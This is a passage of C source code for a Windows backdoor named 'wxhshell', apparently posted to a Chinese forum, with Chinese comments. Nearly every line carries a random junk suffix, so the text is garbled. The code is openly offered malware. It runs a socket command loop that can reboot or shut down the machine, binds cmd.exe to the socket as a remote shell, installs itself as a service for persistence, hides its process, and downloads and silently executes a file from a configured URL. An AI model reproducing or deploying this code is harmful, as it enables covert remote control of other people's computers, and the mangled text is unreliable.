  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ("$ ,FRTQ:  
  else 5\|u] ~b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M4m90C;dq  
  } J SOgq/\  
  else { >84:1 `  
P-c<[DSM'I  
    switch(cmd[0]) { g0 NSy3t  
  [#hoW"'Q9  
  // 帮助 ( @y te  
  case '?': { QY]G+3W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {f kP|d  
    break; @p}"B9h*^  
  } (iw)C)t*u  
  // 安装 6xsB#v*  
  case 'i': { =TzmhX5  
    if(Install()) }|Wn6X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I||4.YT  
    else j(SBpM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4Ev#`i3~  
    break; hR1n@/nh  
    } @<W^/D1#L  
  // 卸载 /K2=GLl;  
  case 'r': { 0p;pTc  
    if(Uninstall()) *MBu5 +u%e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0cxk)l%  
    else vQiKpO*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = g[Cs*  
    break; bEz1@"~ p  
    } %]15=7#'y  
  // 显示 wxhshell 所在路径 <.lT.>'?  
  case 'p': { !=w&=O0(  
    char svExeFile[MAX_PATH]; *tD`X( K  
    strcpy(svExeFile,"\n\r"); (T]<  
      strcat(svExeFile,ExeFile); t/4&=]n\u  
        send(wsh,svExeFile,strlen(svExeFile),0); ")cJA f  
    break;  #mDeA>b  
    } c ii]-%J}c  
  // 重启 7^|,l  
  case 'b': { ~&?{hd.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (,5,}  
    if(Boot(REBOOT)) UZ"jQJQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2#Yw}7^,o  
    else { />,Tq!i\4}  
    closesocket(wsh); SpB\kC"K  
    ExitThread(0); '8|y^\  
    } [`eqma  
    break; X>`5YdT~+  
    } 6mH --!j  
  // 关机 +"Ui @^  
  case 'd': { XW*,Lo5>H\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @\|W#,~  
    if(Boot(SHUTDOWN)) =vaC?d3   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z :_o3W.E  
    else { =/b WS,=  
    closesocket(wsh); g;Lk 'Ky6  
    ExitThread(0); j$z<wR7j0  
    } }}g.L|  
    break; V>YZ^>oeH  
    } Ym WVb  
  // 获取shell Y,%d_yR[  
  case 's': { %di]1vQ  
    CmdShell(wsh); U(jZf{`Mz  
    closesocket(wsh); ! 9U  
    ExitThread(0); 4CT _MAj  
    break; .%'$3=/oe  
  } L =kc^dU  
  // 退出 8a;I,DK=j  
  case 'x': { %SX)Z i=O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q0\tK=Z/  
    CloseIt(wsh); B)bq@jM  
    break; W=9Zl(2C  
    } ]^j'2nJv0  
  // 离开 Snav)Hb'  
  case 'q': { O&Ws*k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lOc!KZHUp  
    closesocket(wsh); Y8^pgv  
    WSACleanup(); W_##8[r(?  
    exit(1); EM.7,;|N  
    break; X}/{90UD  
        } !)}3[h0  
  } Y<vsMf_U  
  } YR{%p Zp  
?y@RE  
  // 提示信息 .=nx5y z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ![{>$Q?5  
} U60jkzIRH  
  } dHtbl\6  
kYVn4Wq  
  return; l^@!,Z  
} Eep*,Cnt0  
l|O)B #  
// shell模块句柄 |Mm9QF;iA  
int CmdShell(SOCKET sock) H</Mh*Fl2G  
{ 99\;jz7  
STARTUPINFO si; ?ep'R&NV  
ZeroMemory(&si,sizeof(si)); A@W/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /ox9m7Fz7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U%7| iK  
PROCESS_INFORMATION ProcessInfo; ~_z"So'|F_  
char cmdline[]="cmd"; }nQni?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (L{Kg U&{$  
  return 0; XM+o e0:[  
} U8T"ABvFP  
 b* QRd  
// 自身启动模式 '>}dqp{Wr  
int StartFromService(void) [&Z3+/lR*  
{ #DN5S#Ic  
typedef struct @-~ )M_  
{ Q UQ"2oC  
  DWORD ExitStatus; m5G9 B-\?  
  DWORD PebBaseAddress; 4TBK:Vm5  
  DWORD AffinityMask; {G+pI2^  
  DWORD BasePriority; O%g%*9  
  ULONG UniqueProcessId; me#?1r  
  ULONG InheritedFromUniqueProcessId; $ON4 nx  
}   PROCESS_BASIC_INFORMATION; abHW[VP9  
Vu%XoI)<KY  
PROCNTQSIP NtQueryInformationProcess; Nvlfi8.  
$ylQ \Y'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \G3 P[E[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *q?-M"K  
HywT  
  HANDLE             hProcess; n>_EE w2/  
  PROCESS_BASIC_INFORMATION pbi; <*g!R!  
b;N[_2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k k&8:;Vj  
  if(NULL == hInst ) return 0; 5,>Of~YN  
_:: q S!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rc*iL   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1|?8g2Vf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Koi  
aX oD{zA  
  if (!NtQueryInformationProcess) return 0; tA?cHDp4E  
D['z/r6F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S G&VZY  
  if(!hProcess) return 0; aAlES< r  
LIo3a38n?y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hdw-gem{?  
(6aSDx Sc  
  CloseHandle(hProcess); $#cZJ@;]  
'THcO*<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 92@/8,[  
if(hProcess==NULL) return 0; JYY:~2  
;{n@hM*O  
HMODULE hMod; e b])=  
char procName[255]; .H M1c  
unsigned long cbNeeded; Y: ~A-_  
%{fa . >6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G2bZl% ,D  
+>em !~3  
  CloseHandle(hProcess); hnQDm$k  
GTj=R$%09  
if(strstr(procName,"services")) return 1; // 以服务启动 o]&w"3vOP0  
P%#EH2J  
  return 0; // 注册表启动 9@Iz:!oqb  
} '`-W!g[ >  
AhZ`hj   
// 主模块 $[L8UUHY<8  
int StartWxhshell(LPSTR lpCmdLine) $`2rtF  
{ "l-L-sc,  
  SOCKET wsl; )yV|vn  
BOOL val=TRUE; 19Cs 3B\4  
  int port=0; (RDY-~#~  
  struct sockaddr_in door; B8jSdlvz  
N=>6PLie  
  if(wscfg.ws_autoins) Install(); &=1A g}l57  
qk;vn}auD]  
port=atoi(lpCmdLine); -8L 22t  
x[mxp/ /P  
if(port<=0) port=wscfg.ws_port; I9! eL4e  
K3jPTAw=#  
  WSADATA data; c+6/@y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WjyuaAWY  
E%eTjvvxus  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dQ6n[$Q@N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oD$8(  
  door.sin_family = AF_INET; *K9I+t"g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U4DQ+g(A  
  door.sin_port = htons(port); 0WasE1t|  
4"OUmh9LHB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yy 4EM  
closesocket(wsl); DCJmk6p%0  
return 1; p2c4 <f-M  
} QT1(= wK3  
ugtzF  
  if(listen(wsl,2) == INVALID_SOCKET) { }Yi)r*LI3  
closesocket(wsl); dmq<vVxC  
return 1; wq|~[+y  
} RL|13CG OP  
  Wxhshell(wsl); O*hd@2hd  
  WSACleanup(); xvZNshkpAX  
qf/1a CQiP  
return 0; +Za ew679  
~R;9a"nr  
} AML8.wJ  
jlmP1b9  
// 以NT服务方式启动 HT]v S}s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M*DFtp<  
{ x=+R0ny  
DWORD   status = 0; a,o>E4#c  
  DWORD   specificError = 0xfffffff; |4UU`J9M  
<@B zF0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T6X%.tR>`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 45Z"U<I,9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8+m[ %5lu  
  serviceStatus.dwWin32ExitCode     = 0; Qfhhceb6#J  
  serviceStatus.dwServiceSpecificExitCode = 0; U=?hT&w\S  
  serviceStatus.dwCheckPoint       = 0; UbBo#(TZ)  
  serviceStatus.dwWaitHint       = 0; GVFR^pzO  
)$V&Nf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vepZod}D  
  if (hServiceStatusHandle==0) return; .g CC$  
x^UE4$oo  
status = GetLastError(); E$$pO.\  
  if (status!=NO_ERROR) Mo+ mO&B  
{ NDG3mCl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; tMN^"sjf*  
    serviceStatus.dwCheckPoint       = 0; ~, hPi  
    serviceStatus.dwWaitHint       = 0; 0D;MW  
    serviceStatus.dwWin32ExitCode     = status; $rB20!  
    serviceStatus.dwServiceSpecificExitCode = specificError; |E\0Rv{H3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aZ$$a+  
    return; 3pxm0|  
  } sZ,MNF8i  
_n.2'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; traJub  
  serviceStatus.dwCheckPoint       = 0; bYr;~ ^  
  serviceStatus.dwWaitHint       = 0; e=11EmN9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m oQ><>/  
} ZE#f{qF(  
j@1rVOmK  
// 处理NT服务事件,比如:启动、停止 E,Q>jH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GCxtWFXH  
{ o<`)cb }  
switch(fdwControl) Sz\"*W;>  
{ ^wL n  
case SERVICE_CONTROL_STOP: )4d)G5{  
  serviceStatus.dwWin32ExitCode = 0; t 6.hg3Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m){.{Vn]  
  serviceStatus.dwCheckPoint   = 0; \bt+46y@]  
  serviceStatus.dwWaitHint     = 0; KRS_6G],{  
  { ],*^wQ   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "K EB0U  
  } nwwKef(  
  return; #+V5$  
case SERVICE_CONTROL_PAUSE: [OI&_WIw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7wt2|$Qz  
  break; %21i#R`E  
case SERVICE_CONTROL_CONTINUE: =-M)2&~L~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; nZF(92v  
  break; b P>!&s_  
case SERVICE_CONTROL_INTERROGATE: ILt95l  
  break; zl>l.zJ  
}; !Jo3>!,j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dzY B0vut@  
} O*3x'I*a  
yVThbL_YJ  
// 标准应用程序主函数 7w7mE  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gf!hO$sQ3  
{ WZk\mSNV  
`{g8A P3  
// 获取操作系统版本 ^}XKhn.S'  
OsIsNt=GetOsVer(); ?Gq'r2V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CIt>D'/YT  
Rn O%8Hk  
  // 从命令行安装 !XjvvX"j  
  if(strpbrk(lpCmdLine,"iI")) Install(); X\SZ Q[gN  
!GkwbHr+p  
  // 下载执行文件 im&E \`L7  
if(wscfg.ws_downexe) { S~1>q+<Q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t#+X*'/  
  WinExec(wscfg.ws_filenam,SW_HIDE); R5LzqT,/N:  
} Jtj_R l !  
W_EM k  
if(!OsIsNt) { nZ>bOP+,  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Z-^Bu8;y  
HideProc(); i2{xW`AcUh  
StartWxhshell(lpCmdLine); fP`g#t)4Tu  
} /^~3Ib8Fw+  
else } d / 5_X  
  if(StartFromService()) rs01@  
  // 以服务方式启动 ,63hO.4M  
  StartServiceCtrlDispatcher(DispatchTable); q# W|*kL3  
else 7<Fp3N 3  
  // 普通方式启动 pv2_A   
  StartWxhshell(lpCmdLine); . xT8@]  
E3gR%t  
return 0; e";r_J3w  
}
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只看该作者 1 发表于: 2006-10-10
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